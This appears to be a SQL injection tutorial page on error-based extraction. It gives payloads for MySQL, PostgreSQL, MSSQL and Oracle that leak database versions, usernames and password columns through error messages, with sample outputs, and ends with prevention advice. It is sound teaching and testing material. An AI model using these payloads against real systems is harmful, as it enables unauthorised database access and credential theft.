Error-Based Injection
Coercing the database into embedding your query result inside its own error message. Fast extraction when errors reach the client but results do not.
Overview
Some database errors quote the value that caused them. If you can arrange for the offending value to be the result of a subquery, the error message becomes your output channel.
The general shape is always the same: take a function that will fail on a value of the wrong type or format, feed it your subquery, and read the answer out of the exception text.
This is dramatically faster than blind inference — you get a whole string per request instead of one bit — and it works when UNION does not, because the query's result set never needs to reach the page. It requires only that error text is displayed.
MySQL
The XPath functions extractvalue() and updatexml() report malformed XPath expressions and include the offending string. Prefixing your data with ~ (or any character invalid in an XPath expression) guarantees the parse failure.
The 32-character limit is the catch. The XPATH error truncates at 32 characters, so anything longer must be paged out with SUBSTRING.
MySQL error-based extraction
-- extractvalue: the ~ makes the concatenated value an invalid XPath
' AND extractvalue(1,CONCAT(0x7e,(SELECT @@version)))-- -
-- => XPATH syntax error: '~8.0.35-0ubuntu0.22.04.1'
-- updatexml: same idea, same 32-char cap
' AND updatexml(1,CONCAT(0x7e,(SELECT password FROM users LIMIT 1)),1)-- -
-- Longer than 32 chars? Page through it.
' AND extractvalue(1,CONCAT(0x7e,SUBSTRING((SELECT password FROM users LIMIT 1),1,31)))-- -
' AND extractvalue(1,CONCAT(0x7e,SUBSTRING((SELECT password FROM users LIMIT 1),32,31)))-- -
-- Pre-5.5 (no XPath functions): the duplicate-entry / floor() trick
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT @@version),
FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)-- -
-- => Duplicate entry '8.0.35-0ubuntu0.22.04.11' for key '<group_key>'PostgreSQL
PostgreSQL has no XPath trick, but its type system is strict enough that a failed cast reports the value verbatim — and with no length cap, which makes it more convenient than MySQL's in practice.
PostgreSQL error-based extraction
-- Cast text to int: the error quotes the whole string, untruncated
' AND 1=CAST((SELECT version()) AS int)-- -
-- => ERROR: invalid input syntax for type integer: "PostgreSQL 16.1 on x86_64..."
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- -
-- Aggregate everything into one error
' AND 1=CAST((SELECT string_agg(username||':'||password,', ') FROM users) AS int)-- -
-- Division by zero as a conditional oracle when casts are filtered
' AND 1/(CASE WHEN (SELECT current_user)='postgres' THEN 0 ELSE 1 END)=1-- -Microsoft SQL Server
MSSQL's conversion errors are the most generous of any engine: the message names the value, the source type, and the target type, with no truncation.
MSSQL error-based extraction
' AND 1=CONVERT(int,(SELECT @@version))-- -
-- => Conversion failed when converting the nvarchar value
-- 'Microsoft SQL Server 2019 (RTM-CU18)...' to data type int.
' AND 1=CONVERT(int,(SELECT TOP 1 password FROM users))-- -
-- Aggregate with FOR XML PATH
' AND 1=CONVERT(int,(SELECT username+':'+password+'; ' FROM users FOR XML PATH('')))-- -
-- CAST is equivalent and sometimes slips past filters tuned for CONVERT
' AND 1=CAST((SELECT DB_NAME()) AS int)-- -Oracle
Oracle offers several routes. CTXSYS.DRITHSX.SN and XMLType both embed the value in the exception. XMLType is generally the more reliable of the two because it does not depend on Oracle Text being installed.
Remember that every Oracle SELECT needs a FROM, and that LIMIT does not exist — use WHERE ROWNUM=1.
Oracle error-based extraction
-- XMLType: the value becomes an invalid XML document and is echoed back
' AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||(SELECT user FROM dual)||CHR(62)))
FROM dual)-- -
-- => ORA-19202: Error occurred in XML processing
-- LPX-00007: unexpected end-of-file encountered SYSTEM
-- CTXSYS.DRITHSX.SN (requires Oracle Text)
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v$version WHERE ROWNUM=1))-- -
-- => ORA-20000: Oracle Text error: DRG-11701
-- utl_inaddr: doubles as an out-of-band channel
' AND 1=(SELECT UTL_INADDR.GET_HOST_NAME((SELECT user FROM dual)) FROM dual)-- -
-- => ORA-29257: host SCOTT unknownSQLite
SQLite is the outlier. Its dynamic typing means CAST('abc' AS int) silently yields 0 rather than raising — there is no type error to harvest.
A few errors do carry text (load_extension on a missing file, for instance), but they are unreliable and often unreachable. For SQLite, go straight to Boolean-Blind; sqlite_master makes schema discovery quick regardless.
Prevention
Parameterise, which removes the injection. Independently, never return raw database errors to clients: log the detail server-side with a correlation ID and return a generic message with that ID.
Suppressing errors is a mitigation, not a fix. It downgrades a fast error-based extraction into a slow blind one; it does not remove the vulnerability. Treat a verbose error as a finding in its own right and the injection as the finding to actually fix.
Related
Appending a second SELECT to the original query so its rows are returned alongside the application's own results. The fastest extraction path when output is visible.
Extracting data one bit at a time by asking yes/no questions and reading the answer from how the page changes.
Manufacturing your own signal when the application reveals nothing at all: make the database pause, and read the answer from the clock.
Fingerprinting, syntax, metadata access, file operations and command execution on the most commonly encountered engine.
Mandatory FROM clauses, no LIMIT, no stacked queries, and uppercase identifiers — the engine where the most standard payloads fail for syntactic reasons.
Parameterisation removes the bug; these layers limit the blast radius when a parameterisation is missed. Least privilege, allowlists, monitoring, and what each is actually worth.